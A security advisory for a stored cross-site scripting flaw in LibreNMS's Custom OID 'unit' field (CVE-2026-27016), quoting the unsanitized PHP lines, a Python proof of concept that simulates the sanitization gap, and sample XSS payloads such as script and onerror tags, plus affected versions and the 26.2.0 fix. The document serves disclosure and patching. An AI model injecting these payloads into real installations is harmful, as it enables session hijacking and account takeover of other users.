LibreNMS has a Stored XSS in Custom OID - unit parameter missing strip_tags()
Summary
The unit parameter in Custom OID functionality lacks strip_tags() sanitization while other fields (name, oid, datatype) are sanitized. The unsanitized value is stored in the database and rendered without HTML escaping, allowing Stored XSS.
Details
Vulnerable Input Processing (includes/html/forms/customoid.inc.php lines 18-21):
$name = strip_tags((string) $_POST['name']); // line 18 - SANITIZED
$oid = strip_tags((string) $_POST['oid']); // line 19 - SANITIZED
$datatype = strip_tags((string) $_POST['datatype']); // line 20 - SANITIZED
$unit = $_POST['unit']; // line 21 - NOT SANITIZED!Vulnerable Output (graphs/customoid.inc.php lines 13-20):
$customoid_unit = $customoid['customoid_unit']; // Retrieved from DB
$customoid_current = \LibreNMS\Util\Number::formatSi(...) . $customoid_unit;
echo "...$customoid_current..."; // ECHOED WITHOUT ESCAPING!PoC
#!/usr/bin/env python3
"""
XSS test for LibreNMS Custom OID - unit parameter
"""
import html as html_module
import re
def strip_tags(value):
return re.sub(r'<[^>]*?>', '', str(value))
# Simulate form processing (customoid.inc.php lines 18-21)
test_inputs = {
'name': '<script>alert(1)</script>Test OID',
'oid': '1.3.6.1.4.1.2021.10.1.3.1',
'datatype': 'GAUGE',
'unit': '<script>alert("XSS")</script>',
}
name = strip_tags(test_inputs['name']) # Sanitized
oid = strip_tags(test_inputs['oid']) # Sanitized
datatype = strip_tags(test_inputs['datatype']) # Sanitized
unit = test_inputs['unit'] # NOT SANITIZED!
print("Input Processing Analysis:")
print(f" name (strip_tags): {name}")
print(f" oid (strip_tags): {oid}")
print(f" datatype (strip_tags): {datatype}")
print(f" unit (NO strip_tags): {unit}")
print()
print("*** VULNERABILITY: 'unit' parameter has NO strip_tags()! ***")
# Test XSS payloads
payloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
]
print("\nXSS Payload Tests:")
for payload in payloads:
escaped = html_module.escape(payload)
has_xss = '<script>' in payload or 'onerror=' in payload.lower()
print(f" Payload: {payload}")
print(f" Raw (vulnerable): Contains executable code: {has_xss}")
print(f" Escaped (safe): {escaped}")Expected Output
Input Processing Analysis:
name (strip_tags): alert(1)Test OID
oid (strip_tags): 1.3.6.1.4.1.2021.10.1.3.1
datatype (strip_tags): GAUGE
unit (NO strip_tags): <script>alert("XSS")</script>
*** VULNERABILITY: 'unit' parameter has NO strip_tags()! ***Impact
- Attack Vector: User with device edit permissions sets malicious Unit value
- Exploitation: XSS payload stored in database, executes for all users viewing device graphs
- Consequences:
- Session hijacking via cookie theft
- Admin account takeover
- Malicious actions on behalf of victims
- Persistent attack affecting all users
- Affected Users: All LibreNMS installations with Custom OID feature
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | librenms/librenms | >= 24.10.0, < 26.2.0 | 26.2.0 |
Referencias
- https://github.com/librenms/librenms/security/advisories/GHSA-fqx6-693c-f55g
- https://nvd.nist.gov/vuln/detail/CVE-2026-27016
- https://github.com/librenms/librenms/pull/19040
- https://github.com/librenms/librenms/commit/3bea263e02441690c01dea7fa3fe6ffec94af335
- https://github.com/librenms/librenms
- https://github.com/librenms/librenms/releases/tag/26.2.0
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N- Debilidad (CWE)
CWE-116, CWE-79- Plataforma
- Composer
- Paquete
librenms/librenms- Publicada
- 18.02.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-fqx6-693c-f55g - CC BY 4.0
Historial de vulnerabilidades: librenms/librenms
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 106
- Primera → última
- 10.2019 08.2026
- Sin corrección
- 6
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 5
- Alta 39
- Media 56
- Baja 6
Divulgaciones por año
- 2019: 6
- 2020: 0
- 2021: 7
- 2022: 26
- 2023: 12
- 2024: 24
- 2025: 15
- 2026: 16
-
LibreNMS has a Stored XSS in Custom OID - unit parameter missing strip_tags() esta entrada
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